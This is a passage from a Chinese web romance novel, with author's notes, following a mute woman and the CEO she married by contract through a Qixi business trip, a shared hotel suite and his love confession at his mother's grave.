许是“一回生二回熟”,诸愿这次上药快了许多,十分钟就搞定了。收拾好医药箱, 她打了个哈欠,眼底带着倦意,朝他挥挥手,先他一步离开了书房。 等她的身影彻底消失在门口,顾识弈的目光又落回那个小篮子上。 犹豫了几秒,他还是起身走过去,指尖挑开了那块布,里面放的不过是普通的绣绷和针线盒。 而绣绷上绷着一块红色布料,上面绣着条歪歪扭扭的黄色小鲤鱼,尾巴翘得老高,看着有些笨拙,却透着股可爱。 他轻嗤了一声,满眼嫌弃。翻转绣绷,目光往下移,布料右下角绣着一个字。 针线有些抖,却清晰可见:一个“厄”字。 顾识弈瞳孔倏地一缩,整个人都僵住了。 这是没绣完的……“顾”字? 所以。 诸愿要送的人—— 是他!—— 作者有话说:诸愿:如果我说,不是送给你的,你会生气吗?[可怜] 顾识弈:宝宝,我当然不会生气啦,我只会抢回来![愤怒] PS:昨天活动开奖啦,恭喜中奖的宝子们[亲亲]以及评论区十个红包也发了哦,大家记得查收[撒花] 下次有机会会进行二次抽奖,红包是时不时都会有哒[彩虹屁] 再一次感谢追到这里的宝子们,希望可以一直陪伴我走到结局[害羞] 第23章 闹钟响起时,诸愿的眼皮重得像坠了铅。连续一周的绣香囊熬到后半夜,她现在睡眠严重不足。 她摸索着抓过手机,盯着锁屏上“8:31”的时间,脑子空白了三秒猛地弹坐起来。 要迟到了! 拖鞋在地板上踩出慌乱的声响,她抓过衣服胡乱套在身上,冰凉的冷水扑过脸颊,才勉强压下涌上来的困意。 背包拉链没拉好就踩着木质楼梯往下冲,“咚咚”的脚步声在安静的楼道里显得格外大声。 刚冲到一楼,脚步骤然顿住。 玄关处,顾识弈一身深灰色西装,肩线利落挺拔,黑色皮鞋擦得锃亮,连鞋尖都泛着光。 见她慌慌张张冲下来,他抬眸看过来,眼底漾开一丝说不清道不明的情绪。 诸愿瞥了眼他从容的模样,心里飞快掠过一丝羡慕:自己当老板就是好,不用为迟到这种事慌手慌脚。 她没心思多想,拎起门边的白鞋就要往外跑,目光却在扫过空荡荡的车道时僵住了。 平时总准时候在门口的李叔的车不见踪影,只有王叔那辆熟悉的黑色轿车停在路边。 “李叔昨晚犯了胃病,今早跟我请了假。”顾识弈的声音从身后传来,带着晨起未散的低哑,像羽毛轻轻扫过耳膜,让诸愿紧绷的神经莫名松了些。 可下一秒,焦虑又涌上来,这个点打车根本来不及! 她咬着唇站在原地,正琢磨要不要跟公司请假,就听男人开口:“我捎你。” 惊喜来得太突然,诸愿抬头时眼睛都亮了,可转瞬又想起顾识弈的身份,手停在车门边没敢动。 直到顾识弈打开后座车门看向她,她才赶紧弯腰坐了进去,动作放得极轻,生怕扰了他。 汽车缓缓启动,诸愿盯着窗外不断倒退的街景,心里还是提心吊胆,万一堵车怎么办?正想着,身旁的顾识弈忽然开口:“怕迟到?” 她回头看他,在他沉静的目光下老实点头。 下一秒,就听他对前排的王叔说:“直接上高速。” 道路顺畅,车速变快,诸愿心里头悬着的石头终于落地。 她还没来得及道谢,面前就出现一个牛皮纸袋,袋口飘出淡淡肉香。 “多拿了一份。”顾识弈的声音依旧平淡,却透着股温和,“吃吗?” 诸愿先前慌得没胃口,压根没顾上拿早餐,此刻知道不会迟到,闻到香味,腹中空空的饥饿感瞬间涌上来。 她赶紧用手语比了个“谢谢”,接过纸袋拿出一个生煎包塞进嘴里。 皮薄馅足的汤汁在舌尖化开,鲜得让她眼睛都眯了起来。 没成想,一个不注意香油便顺着嘴角流了下来。她正想找纸巾,旁边忽然伸过来一只手。 指节分明的手上捏着张洁白的纸巾,她刚要去接,那纸巾就轻轻擦过她的嘴角,连带着蹭在指尖的油渍也被仔细拭去,动作轻柔得不像顾识弈会做的事。 诸愿愣了愣,只当他是顺手帮忙,连忙又比了个感谢的手势。 顾识弈没说话,又递来一杯温豆浆,她双手接过才发现,他已经默默把空了的生煎包纸袋收了起来。 —— 车在向梦楼下停住,诸愿下车后挥手道别,刚转身就听见前面有人喊她的名字。 郑誉从大厦里走出来,白衬衫领口系得整齐,见了她温柔地点头,眼底带着熟悉的笑意。 诸愿回以颔首,擦肩往电梯口走,没注意到身后车里的顾识弈已经皱起了眉。 郑誉的目光一直追着她的背影,直到电梯门合上才收回。那眼神里的温度,让顾识弈莫名觉得刺眼,像他的宝贝被人觊觎了。 郑誉回身正要上车,忽然听见身后传来车门打开的声响,关上车门的力道还有些重。 他下意识回头,就见顾氏集团的总裁顾识弈站在车边,西装外套被风掀起一角,脸上没什么表情,却透着股慑人的压迫感。 顾识弈的身份不容小觑,就算是他的父亲见了,也得上前恭维几句。 他连忙关上车门,快步走过去热络地开口:“顾总,怎么有空来向……”话到一半,他忽然想起刚才的诸愿,再结合父亲之前的暗示,心里猛地咯噔一下,像是明白了什么。 没等他再开口,就听顾识弈语气颇为无奈地回答:“太太起迟了,怕迟到,我送她过来。” “太太”两个字像惊雷炸在郑誉耳边,他一直以为诸愿和顾识弈只是包养关系……却没想到两人是结了婚的夫妻! 震惊还没消化完,顾识弈已经转身上了车,留他站在原地。 他这才恍然,顾识弈专程下车,只是为了告诉他——诸愿是他的妻子! 顾识弈走进总裁室时,林秘书正在茶水间冲咖啡,见他进来,连忙端着杯子迎上去:“顾总,早。” 以往只会得到一个冷淡的“嗯”,可今天,顾总竟抬头对他笑了笑,声音平和:“早。” 林秘书手里的咖啡差点晃出来,还以为是自己看错了,直到顾识弈恢复平时的严肃:“汇报下今天的日程。” 他这才松了口气,连忙打开平板念起来。 念到末尾时,忽然想起茶水间听来的八卦,犹豫了一下还是开口问:“顾总,七夕到了,需要我提前安排吗?” 顾识弈指尖顿了顿,林秘书连忙补充:“后天就是七夕节,往年这个时候,好的餐厅都被订得差不多了。” 男人沉默了几秒,而后像是恍然大悟,半响才道:“安排吧。” 林秘书不知道他的心历路程,闻言点头应下,离开时心里却更加确定了: 老板和夫人的关系,是真的不一样了! 下午五点,顾识弈刚关掉电脑,手机就响了,章司年的声音混着酒吧里嘈杂的背景音传过来:“出来喝酒!” “什么事?”顾识弈拿起椅背上的外套,走进电梯,声音里没什么波澜。 “我失恋了!她居然在七夕前跟我分手!”章司年的声音拔高了些,带着点委屈的鼻音,“我不管,你必须来陪我,咱们不醉不归,直接喝到七夕第二天,让那破节日见鬼去吧!” “我有事。”顾识弈按电梯下行键,声音里透着一丝愉悦。 “你能有什么事?”章司年喝多了没听出来,声音带着点嘲讽,“你又没喜欢的人,难不成还要加班?”话出口又觉得不对。 顾识弈向来是工作狂,真有可能留公司。 他放软语气:“别卷了,你员工也要过七夕的,放过他们吧。” 电梯门缓缓打开,顾识弈走出去时,想 起上次跟章司年说过和诸愿是协议结婚的事。这段时间的变化,他还没来得及说,也想找个正式点的机会介绍诸愿。 他没反驳章司年的话,只道:“这事回头再说。” 坐进车里,王叔习惯性地要导航去万宜别墅,却听后座传来声音:“去向梦。” 往叔愣了一下,很快反应过来,指尖在导航上点了几下,重新设定了路线。 诸愿走出向梦大厦时,还在琢磨夕会的事。 领导突然安排了去邻市拍摄的任务,广告费给得极高,是她平时想都不敢想的机会。 可一想到要离开三天,她又犯了难:顾识弈会同意她去吗? 她站在路边,目光扫过李叔平时停车的位置,才想起李叔请假了。 正掏出手机想叫车,眼前忽然一暗——有人站在了她面前。 上次被人强行带走的阴影还历历在目,诸愿几乎是条件反射地往后退,白鞋踩在地面上发出“刺啦”的声响,抬头时却愣住了。 顾识弈站在她面前,伸出的手像是要帮她拿包,见她吓成这样,眼底闪过一丝不易察觉的悔意。 他将手默默收了回去。 “我来接你。”他开口道,语气放得平缓,刻意不让自己显得可怕。 诸愿不好意思地笑了笑,跟着他往车方向走。坐进后座拿起手机,才看见十分钟前有一条未读消息,是顾识弈发的:【李叔下午也请假了,下班还是我来接你。】 她不禁为他的周到而感到心暖,可随之而来的是更深的纠结。 出差的事该怎么跟他说?指尖在手机屏幕上反复摩挲,眼神微微走神。 顾识弈从她上车后就注意到她的纠结,看她时不时偷瞄自己,又很快移开目光,像只试探的猫。 他忽然想起那晚书房里的香囊,难道是现在绣好了,想送给他却不好意思说? 毕竟后天就是七夕了。 这样想着,他心情莫名愉悦,连带着目光都柔和了不少。 晚上,餐桌上摆得都是诸愿爱吃的菜,可她却没什么胃口,筷子动了几下就放下了。 顾识弈见她这样,几次想开口问,又怕显得自己太心急,只能按捺住,也没吃几口。 直到洗完澡去书房,看见诸愿坐在沙发上,手机屏幕亮着,指尖在键盘上敲敲打打,又删删改改,像是在斟酌字句。 心里不由暗忖:是要现在说吗? 他走过去,诸愿连忙按灭手机,起身去拿医药箱,动作快得像在掩饰什么。 顾识弈顺从地坐在椅子上,后背传来药膏的凉意,她的指尖轻轻按在伤口处,动作一如既往地轻缓小心,像怕弄疼了他。 其实今晚他看浴镜时,伤口已经好的差不多了,今晚本不用抹药,可他没说。 他在给诸愿上药的时候主动把香囊拿出来的机会,哪怕只是打字提一句也好。 药膏涂完,顾识弈慢条斯理地扣上衬衫纽扣,目光一直落在诸愿身上。就见她深吸一口气,像是下定了某个决心,把手机递了过来。 顾识弈抿了抿不受控制的唇角,屏幕上最顶的一行字写着:【公司安排了出差,我可以去吗?】 脸上的笑意瞬间僵住,他盯着那行字,好半天才找回自己的声音:“几天?” 诸愿比了个“1”的手势,顾识弈刚松口气,正想说“我陪你去”,就见她在竖起的食指上,又竖起了一根中指和无名指。 “三天?”他的声音沉了些,带着点不易察觉的紧绷。 没想,诸愿竟真的点头,他不甘心地追问:“什么时候去?” 手机屏幕再次递过来,上面的字让他彻底冷了脸::【明天早上八点上飞机。】 三天,还偏偏赶在七夕前一天走! 顾识弈觉得自己方才的期待简直像个笑话,心里的火气蹭地冒了上来,他深吸一口气,努力压着。 诸愿还不知道他生气的缘由,又打字补充:【我30号中午就会回来,这个月有31号,不会错过您说的月底……】 “是我最近对你管得太松懈了吗?”顾识弈忽然打断她,声音冷得像块冰,又带着股压抑的怒火,“你凭什么觉得,我会同意你去?” 诸愿打字的手猛地顿住,吓得手机差点滑下去。 她抬头撞进顾识弈的眼底,那里翻涌着的情绪有生气、烦躁,还有点她看不懂的失落,心头一紧,连呼吸都滞了滞。 她从没见他情绪变化这么多过。 也从没见他这样动过气。 第24章 一早,顾识弈的皮鞋声踏过走廊,林秘书正坐在工位上对着电脑打哈欠,眼皮不经意一抬,看见顾识弈的身影瞬间清醒过来。 他赶紧抓起桌上熬了一整晚、翻遍某度改了三版写了九千九百九十九个字的七夕计划书,另一只手端起刚泡好的咖啡,小跑着跟进总裁办公室里。 心里想着加薪,嘴上却刻意端得平稳:“顾总,这是我昨晚写得七夕……”“夕”字刚出音,顾识弈忽然抬手,指尖悬在半空。 林秘书在他手下做了五年,虽然没听他说一个字,却比谁都懂这是“噤声”的信号,话头紧急刹住,抬眼扫过老板冷漠的侧脸,心“咯噔”一下沉到谷底。 这九千九百九十个字的计划书怕是要废了,别说加薪,现在能不能保住职位都悬! 他屏住呼吸,小心翼翼地放下咖啡杯,不敢弄出一丁点声音,做完这一切,就听顾识弈用能冻住空气的声音说:“还有事?” 林秘书头摇得发昏,转身离开的时候几乎是用逃跑的姿势。 这天,整个顶楼办公室仿佛笼罩在低气压里,人人自危。 第二天早上,林秘书去万宜接顾识弈时,终于忍不住溜进厨房,问正在削土豆皮的静姨,前天晚上到昨天早上究竟发生了什么事。 静姨手里的动作没停,叹息:“太太昨天早上飞邻市了。” 林秘书心头一震,蹲下身和坐在小板凳上的静姨齐高,声音压得极低:“今天七夕,太太怎么还——顾总没拦着?” 静姨先点了点头,又摇了摇头,等把最后一块皮削干净,才缓缓开口: “前天晚上我上楼晾衣服,撞见太太红着眼圈从书房里跑出来,晾完下楼时,就见顾总站在太太卧室门口,跟钉在那儿似的,一动不动。第二天早上六点我起床做早餐,顾总突然让我先帮太太收拾出差的行李,说完就走了,那眼底的红血丝,一看就是一夜没合眼。” 林秘书听得目瞪口呆,刚想追问,餐厅突然传来一声冷冽的嗓音“林正”。 他吓得猛地站起身,手忙脚乱地拧开水龙头冲手,然后才走出去。 —— 邻市酒店里,诸愿是被窗外灿烂的阳光晒醒的。 她昨天刚出机场,就被团队拉去拍摄,从上午十天到凌晨四点,镜头就没停过,连喝口水的时间都得挤。 洗完澡瘫在酒店床上时,窗外天已经亮透了。 她也终于明白为什么这家品牌的广告费会给这么高了。 是真能熬啊! 这一睡就直接睡到了中午。 手机震了震,工作群发了新的通知,领导说在楼下餐厅订了餐,犒劳她们昨天的辛苦。 诸愿趿着拖鞋走到餐厅,才发现领导特意点了当地有名的牛油火锅,红亮的锅底咕嘟咕嘟冒着泡,香味瞬间勾出她的食欲。 她夹起一块烫好的嫩牛肉,入口又麻又香,赶紧掏出手机拍了张照片发给苏沐,附文:【果然还是得来当地吃,味道绝了!】 退出聊天框时,置顶的对话框让她顿了一秒。 她和顾识弈的最后一次消息,还是昨天她下飞机时发的“我到邻市了”,却至今没收到回复。 那天晚上,她本来已经放弃了这次出差,可早上静姨却突然敲响她的卧室门,说“行李已经收拾好了,现在出发吗”,她才急急忙忙填了出差申请表。 后来静下心来想,她想出差的事只有顾识弈知道,静姨肯定是通过他的授意,才收拾行李让她出发的。 当时本想去感谢,却听说他一大早就出门了。 按理说,顾识弈让 静姨帮她收拾行李,就是同意她出差了,可现在连消息都不回。 诸愿不得不思考:他是不是还在生气? 她不是热脸贴冷屁股的性子,顾识弈不回复,她以往肯定也冷处理了。可她总忘不掉,上次她煮的没熟菌汤让他食物中毒却不怪她的这份恩情。 这样一想,自己再主动一点,缓解一下关系,好像也没什么。 何况,当初她还下定决心要“回报”他呢。 诸愿咬了咬下唇,把刚拍的火锅照片也转发给了顾识弈一份,打字:【这里的本地火锅超好吃!】想了想,又补了句:【下次您要是来这儿,我请您吃好不好?】 中午,顾识弈开完会回办公室时,林秘书正捧着打包好的一品府饭菜。 他小心翼翼地递过去——这两天老板的低气压快把办公室冻成冰窖了,同事们都不敢往前凑,只能由他代劳。 可递到一半,他眼尖瞥见顾识弈正在看微信,屏幕上赫然是诸愿发的消息,连那两句附言都看得清清楚楚。 原来太太和顾总有联系! 心里的喜悦差点从嘴角溢出来,林秘书赶紧抿唇憋回去,却听顾识弈冷声道:“看什么?” 他脑子一热,脱口而出:“看太太跟您分享日常。”说完才反应过来自己这是不打自招偷看了老板的手机,慌得找补:“太太这肯定是想您了,才特意给您发信息的。” 这话一出,他忽然觉得办公室里凝滞的空气松动了些,低气压竟在慢慢消散。 林秘书暗喜,他这是说到老板心坎上了!那九千九百九十个字的计划书岂不是还能用? 加薪有戏了! 没等他高兴完,顾识弈突然抬头,眼神里带着点不确定,又像在确认:“那,她说请我吃本地火锅,是不是在邀请我去找她?” 林秘书愣住了,问号在脑子里转了三圈。 这么理解,对吗? 可顾识弈显然没要他的答案,说完就拿起手机,语气不容置疑:“帮我订最近一班去邻市的机票。” 诸愿拍完最后一组镜头时,天已经擦黑。回酒店洗漱完,才发现隔壁床的模特室友小妮早就收拾好了行李,正背着包往外走。 “今天七夕,我得回去陪男朋友过节。” 诸愿这才恍然,原来今天是七夕节,但转念一想,这节跟自己又没有关系。 等她吹完头发拿起手机,工作群里早炸开了锅:同行的人大多请假陪对象去了,模特这边只剩她一个“孤寡”,摄影组也留了几个单身的人。 很快有人艾特她:【阿愿,去吃‘高贵的单身晚宴’吗?公司报销哦!】 诸愿平时挺受他们照顾,指尖刚要敲下“好”,门铃却突然响了。 她放下手机去开门,门一拉开,整个人都愣住了。 门外,顾识弈一身裁剪熨贴的黑色西服,头发梳得整齐,袖口扣得一丝不苟,莫名的,透着点郑重的意味。 这突如其来的出现,让诸愿震惊不已,连呼吸都漏了半拍。 “正好来这边出差,”顾识弈的声音不疾不徐,说得煞有其事,“林正说你住这儿,就过来看看。” 诸愿却不是傻子,哪会信这么巧合的事。 她平复狂跳的心脏,拿起手机,快速打字:【出差做什么?】 顾识弈低头看完,表情依旧:“有人给我送东西,是无价之宝,我亲自来拿。” 他说这话的语气太真,诸愿反倒有些恍惚,犹豫了一秒,再次打字:【那东西拿到了吗?】 “没有。”顾识弈的目光落在她脸上,直勾勾的,“她还没给我。” 他这么坦白,诸愿本来就信了七八分,这下更是彻底信了。又被那目光看得不自在,下意识垂下了眼。 “不是说我来了请我吃本地菜?”顾识弈先打破沉默,语气里带着点不易察觉的期待,“现在去?” 诸愿心情已经趋于平静,听到这话,自然没有拒绝的道理。 她轻轻点了点头,在手机上婉拒了摄影组的邀请,带着顾识弈往附近的火锅店走。 可刚踏进店门,她就后悔了。 店里人声鼎沸,座无虚席,连个包厢都没有,顾识弈一身高定西装站在满是烟火气的火锅店里,像走错了片场,再加上那张惹眼的脸,不少人的目光都往这边投来。 诸愿想退出去,刚往后挪了一步,后背就贴上一个结实的胸膛,温热的触感让她瞬间僵住。 她想转身,顾识弈却轻轻按住她的肩膀,灼热的气息落在耳边:“不请我吃了?” 诸愿赶紧摇头,见顾识弈一副完全不介意的样子,只能硬着头皮找了个角落的位置坐下。 坐下后才发现,周围坐的全是情侣,有的互相喂菜,有的凑在一起小声说笑,只有她和顾识弈,隔着一小段距离,各坐各的,显得与旁人格格不入。 诸愿这才想起今天是七夕,有些坐立不安,也怕顾识弈不自在。 这时,邻桌情侣的对话飘了过来:“听说后面那条街有个许愿七夕池,十二点前情侣一起抛球进去,就能白头偕老哦。” 话音刚落,两个小孩就从店外走了进来,女孩怀里抱着一捧玫瑰鲜花,男孩提着红布包着的弹力球,声音软乎乎的,从第一桌前问起: “哥哥姐姐买许愿球吗?一个52元,12点前扔进后街的池子里,就能白头偕老哦~今天节日特殊,买球还送一支玫瑰花呢。” 诸愿看着两个小孩,忍不住弯了弯唇,童言童语真可爱。 忽然,脑海里闪过一个模糊的画面:好像很久以前,她也这样抱着鲜花,在街头叫卖。刚想细想,又觉得不可能。 她再是诸家不受宠的大小姐,也不至于沦落到街头卖花,何况她是天生哑巴,更不可能出声叫卖。 收回目光时,却见顾识弈正盯着那两个小孩,手指已经放在了手机扫码界面上。 诸愿愣了愣,拿起手机打字问:【您要买?】 顾识弈看完,眼神里反倒带着“你为什么不想买”的疑惑,让她哽了一下。 难道是自己想多了?顾识弈说不定是觉得小孩可怜,想让他们早点卖完回家。 如果是这样,那就是顾识弈的事了,她不再追问。 可没等小孩走到他们桌前,篮子里的许愿球就卖光了。两个小孩欢呼着跑走,诸愿也为她们挣到钱笑了,转头却瞥见顾识弈眼底闪过一丝失落。 她眨了眨眼,心里犯嘀咕:小孩能早点回家,他怎么还不开心? 好在这时,冒着热气的火锅端了上来,浓郁的香气瞬间驱散了这点小疑惑,也勾出了两人的饥饿感。 等两人吃完走出火锅店时,已经是晚上十点了。 街上依旧热闹,情侣们手牵着手,有的在买发光的气球,有的在看摆满小玩意儿的地摊,空气都仿佛变得甜丝丝。 顾识弈低头嗅了嗅自己的衣服,眉头微蹙,他染上了火锅的味道。 诸愿看在眼里,没忍住一笑,又觉得不厚道,打字提议:【回酒店吧?】当然她更想说的是,街上全是情侣,而他们只是协议结婚,这样并肩走着,总觉得浑身不自在。 顾识弈显然也是这样想的,对她点头。 回到酒店楼下,诸愿又打字问:【你住在哪里?】 今天七夕,恐怕不好订酒店。 “楼上订了总统套房。”顾识弈的声音很平静,全无忧虑。诸愿点了点头,心里自嘲,以他的身份怎么会没地方住呢。 电梯到了她住的楼层,诸愿挥了挥手,就要随着人群走出电梯,顾识弈却突然伸手拦了一下,指尖轻轻碰到了她的胳膊。 诸愿回望过去,看见他张了张嘴,想问的话却像被什么卡住,迟迟没说出口。 殊不知,顾识弈哪里是想问什么,他不过是在等——等诸愿趁七夕还没结束,把那个他早就偷看过、绣着他名字的香囊,送给自己。 可诸愿像全然忘了这回 事,只歪着头看他,眼底盛着茫然的光。 顾识弈喉结动了动,压下心底那点急,装作不在意地开口:“你那天放在书房……” 话没说完,前方突然传来一道男声:“诸愿,你回来了。” 诸愿下意识抬眼望过去,顾识弈的话音也跟着断在半空。 他顺着诸愿的目光看去,只见来人除了个子稍高些,眉眼寻常得如同人海里随手捞起的一粒沙,实在没什么特别。 顾识弈刚要收回那点莫名的敌意,目光却倏地顿住。 那人腰间系着一个红香囊,小鲤鱼绣得歪歪扭扭的,竟和他之前在书房里看见的,一模一样!—— 作者有话说:今天肥肥的一章,嘿嘿[彩虹屁] 第25章 诸愿认得何迅是因为他是室友小妮的男朋友。 前阵子两人还在暧昧时,小妮拿着手机里某宝的香囊界面,问过她们七夕绣什么字的香囊能表达心意。 那时谁也没想到,后来竟是何迅先捅破了窗户纸,不仅常来公司接小妮下班,还大方请整个团队喝奶茶。 因着这层渊源,再加上和小妮同住的熟稔,诸愿对何迅不算陌生。可此刻在走廊看见他,她还是愣了。 小妮七点就拎着包出门了,说要和男朋友过七夕,怎么何迅会在这里? 何迅显然猜到了她的疑惑,挠着头有些不好意思道:“我也来找她了,本来想吃完饭订酒店,结果这附近的房全满了。没办法,只能先送她回来,我自己去青旅对付一晚。” 诸愿了然点头,心里却莫名想起顾识弈,他今天也是临时过来的,能订到房间恐怕是靠钱砸出来的。 看来他对那个“无价之宝”是真的很重视了。 念头刚落,就听见何迅的声音转向她身后:“这位是你男朋友吧?” 诸愿回头,才发现顾识弈竟也跟着走出了电梯,正静静地站在她身后。 他没说话,只抬眼看向她,眼神里带着几分让她回答的意味。 诸愿便对何迅轻轻点头。 她早想好了,以后离了婚,就说“分手了”,总比解释“前夫”要省事得多。 “那哥,你订到酒店了吗?”何迅又挠了挠头,脸颊泛着红,“要不跟我去青旅住?房间留给女生们。” 诸愿瞬间明白过来。他准是以为,自己带男朋友回房是要同住。 毕竟室友先说了要出去过节,她带着人回来,在旁人看来,可不就是没订到房的无奈之举? 她连忙摆手想解释,手机还没掏出来,一直沉默的顾识弈先开了口。 他声音清淡,却带着不容置疑的笃定:“我订了楼上的房,诸愿会跟我一起住。你可以和你女朋友住在这里。” 诸愿彻底懵了,等她反应过来时,顾识弈已经叫来了酒店管家,正吩咐人把她的行李搬到楼上的总统套房。 室友小妮拉着她的手不停道谢,声音里满是感激:“阿愿,我正担心阿迅没地方住,谢谢你,也谢谢你男朋友。” 诸愿扯着嘴角笑,心里却泛着苦。 她能说,自己根本不是自愿的吗? 告别小妮,电梯里只剩她和顾识弈。诸愿再忍不住,掏出手机把屏幕递到男人面前:【为什么要这么安排?】 “他们是情侣。”顾识弈的回答言简意赅。 诸愿当然知道,可那间房是公司安排给她的,室友也没说让她搬走,不懂他为什么要多此一举。 “你把人想得太完美了。”顾识弈的语气带着点看透一切的淡然:“他女朋友也住在里面,你怎么确定他能找到青旅?万一没找到,她心疼男朋友,三更半夜求你开门,到时候你怎么办?” 【我不会同意的!】诸愿气鼓鼓地打字。 顾识弈却低笑一声,眼神里带着点促狭:“那你怎么跟我上来了?” 诸愿瞬间语塞。 方才何迅一迭声地道谢,她确实没好意思拒绝。 可这明明是顾识弈先替她做了决定,现在倒成了她的不是? 顾识弈知道她在想什么,却并不让步。若是放任她回去,真发生后面的事,就算她不同意开门,事后和小妮的同事情怕也难维持。 何况他也有私心。 谁不想和自己的伴侣同住呢。所以听见何迅的话,他便顺手推舟了,既让她在同事面前赚了人情,又能让她跟自己住。 电梯门开了,诸愿憋着气往外走,脚步又快又急,身后却传来顾识弈带笑的声音:“前面是楼梯间。” 她猛地顿住,脸颊发烫,赶紧转身往反方向走。 刚迈一步,又听见他说:“那是防烟空间。” 诸愿停在原地,这不是一个意思吗?她敢怒不敢言,干脆站着等顾识弈先走。 顾识弈见她真闹了脾气,连忙收了玩笑,上前半步,哄道:“对不起,是这边。” —— 总统套房足有两百多平,还细心地分成了总统房和夫人房,清晰的界线让诸愿松了口气。 “去洗澡吧。”顾识弈说。 她点点头,转身去拖玄关的行李箱。 等她拿着睡衣走进卫生间,顾识弈却转身出了门,乘电梯回到了她原来住的房间门口。 敲门三下,何迅打开门,看见是他,顿时有些紧张,结巴着问:“怎…怎么了?是忘了东西,还是想……回来住?” “不是。”顾识弈打断他,目光落在他腰间挂着的香囊上,“你的香囊,能看看吗?” “当然能!”何迅眼睛一亮,语气满是自豪,“这是我女朋友亲手为我绣的七夕礼物。” 顾识弈接过香囊,指尖翻转,目光快速扫过——没有“顾”字,也没有“厄”字。 莫名的,他松了口气,听着何迅还在夸女朋友手巧,难得地附和了一句:“绣得不错。” 回到楼上,顾识弈没急着进门,靠在走廊栏杆上俯瞰楼下的车水马龙。 诸愿没送他香囊,或许是没带出门,毕竟她一开始也不知道自己会来这里。 这样想着,他压下心底那点失落,重新勾起唇角。 推开门时,诸愿刚好洗完澡出来,穿着宽松的睡裙,正用干发巾擦着头发。 她的头发很长,夏天总懒得吹干,仗着开空调能自然风干,擦几下就想作罢。 顾识弈见了,径直走到客厅,插上了吹风机,回头对她说:“过来。” 诸愿摆了摆手想拒绝,却见他蹙起眉头:“不喜欢我帮你吹?” 诸愿的手顿在半空,他要帮自己吹头发?下一秒,她就被顾识弈按坐在沙发上。 吹风筒的嗡鸣声响起,一阵暖风拂过发顶,带着淡淡的松木香。 太久没人这样帮她吹过头发,诸愿竟有些恍惚,分不清是现实还是梦境。 她怕这温暖是假的,索性闭上眼,任由顾识弈的指尖轻轻拨弄发丝,暖风一点点烘干头发里的潮气,享受这片刻的美梦。 顾识弈关掉吹风筒时,才发现诸愿闭着眼,长长的睫毛垂着,像睡着了。 他忍不住弯了弯嘴角,伸手想刮刮她的鼻子,却没料到,诸愿像是有感应,突然抬手抱住了他的胳膊,脸颊轻轻蹭了蹭,嘴里还哼唧了两声,像在撒娇。 顾识弈愣住了,再看她,眼睛依旧闭着,才知道是睡着后的无意识举动。 可再无意识,也是有过先例,才会有这样的本能依赖。 她以前,也曾这样依赖过别人吗? 他放下吹风机,弯腰抱起诸愿往卧室走,轻轻把她放在床上盖好被子,又掖好被角。 夜灯昏黄,他凝视着她的睡颜,慢慢俯身靠近。 诸愿其实没有睡着。她正想着顾识弈帮自己盖被子人挺好的,突然感觉到身旁的床垫陷了下去,那熟悉的松木香也越来越近。 她心头一跳,忍不住眯开一条眼缝,刚好对上顾识弈近在咫尺的俊容。 她吓得屏住呼吸,一动不敢动。 下一秒,一声温柔得能溺出水的“晚安”钻进了耳朵里。 直到脚步声走远,房门轻轻关上,诸愿才敢大口喘气,翻身盯着天花板。 她刚刚确实是舒服得迷糊了,把顾识弈当成了以前帮她吹头发的哥哥,才会下意识撒娇。反应过来时已经晚了,只能装睡蒙混过关。 可怎么也没想到,他会靠得那么近!还跟“睡着”的自己说“晚安”……混乱的思绪没持续多久,疲惫就席卷了她,诸愿闭上眼睛,很快就睡熟了。 第二天,诸愿跑完外景回到酒店时才上午十点。推开总统套房的门,浴室里传来水声。 她歪了歪头,顾识弈是现在才起床洗澡吗?又摇了摇头,只当他是认床,昨晚没睡好。 她回房收拾行李,按照计划,中午就要返程了。 顾识弈洗完澡出来,径直走到吧台前,拿起缺了粒药片的药板,又抠出一粒,就着温水吞了下去。 他昨晚闹肚子,一晚上没睡好。 谁能想到,一顿火锅竟让他跑了三四次卫生间,直到后半夜叫人送了药,才总算缓过来。刚刚肚子又隐隐作痛,以防万一,只能再补一粒。 他暗自记下:以后除了不能让诸愿做饭,连选餐厅的权利也得慎重,不然他这身子,怕是扛不住。 转头时,正好看见诸愿拖着行李箱站在身后,他不动声色地把药板藏到身后,语气轻松:“收好了?” 诸愿点点头,他又说:“那等我,很快。” 他走进卧室后,诸愿忍不住走到垃圾桶前看了看。 没看到药盒难道刚刚是她看错了?顾识弈根本没吃药? 卧室里,顾识弈把剩下的药片丢进垃圾桶。 他来得匆忙,没带多少东西,很快就收拾好了。 两人坐着酒店安排的车去机场。路上,诸愿想起顾识弈说过月底要空出时间,便提前推掉了公司准备的聚餐。 果然,当晚顾识弈就告诉她,明天要早起,去祭拜他的家人。 原来是要给顾母扫墓。 诸愿想起以前看过的“顾家灵异”传闻,主角正是他的父母。再加上上次在医院偶然听到的只言片语,心里难免好奇。 不过也只是好奇,问是不可能的,毕竟以她“协议结婚对象”的身份,顾识弈未必愿意跟她说。 一早,车停在墓园门口。顾识弈从王叔手里接过一束康乃馨,另一只手朝她伸过来。 诸愿愣了愣,犹豫着把手递出去。 昨天下过雨,石阶湿滑,他的手掌宽大温暖,牢牢握着她的手,一步一步往上走。 今天不是清明也不是冬至,墓园里格外冷清。 入秋的风卷着落叶,远处传来乌鸦的啼叫,透着股阴森。 诸愿忍不住缩了缩脖子,心里犯嘀咕:怎么没看见顾家的其他人? 诸家就算人不多,扫墓时也会凑上一群,顾家分**么多,怎么只有他们两个? 直到走到一片独立的墓区,她们才停下脚步。 这里只有一座气派的墓碑,周围的杂草显然刚被清理过,干净得有些过分。 顾识弈松开她的手,蹲下身把康乃馨放在墓碑前。 诸愿的目光落在墓碑上——“林汝意之墓”。 原来,这偌大的墓碑,只葬着一个人。 就在这时,顾识弈突然开口,声音轻得像在呢喃,却清晰地传到诸愿耳中:“母亲,我结婚了,带诸愿来看您。” 诸愿张了张嘴。 她和顾识弈明明是协议结婚,骗骗在世的人也就罢了,怎么他连过世的长辈也骗? 毕竟按照老人们的说法,过世的人会变成星星看着人间,林女士要是真在天有灵,肯定知道她们这是假的。 她正胡思乱想,顾识弈却突然回头,目光灼灼地看着她:“虽然我第一次喜欢人,但我确信,我爱她。” 这下诸愿的脑子“嗡”的一声,彻底怔住了。 这是剧本里的台词吗? 加戏怎么不提前跟她对? 还没等她反应过来,顾识弈站起身,伸手拉住她的手,眼睛一眨不眨地盯着她。 一贯从容的人,语气里竟带着点紧张:“诸愿,你是不是也喜欢我?”—— 作者有话说:诸愿:不知道啊,没人跟我说改剧本了哇[托腮] 第26章 诸愿的心跳彻底乱了节拍,连呼吸都带着几分慌乱。 顾识弈眼底的爱意浓得化不开,像浸了蜜的糖,让她恍惚,这好像是真的。 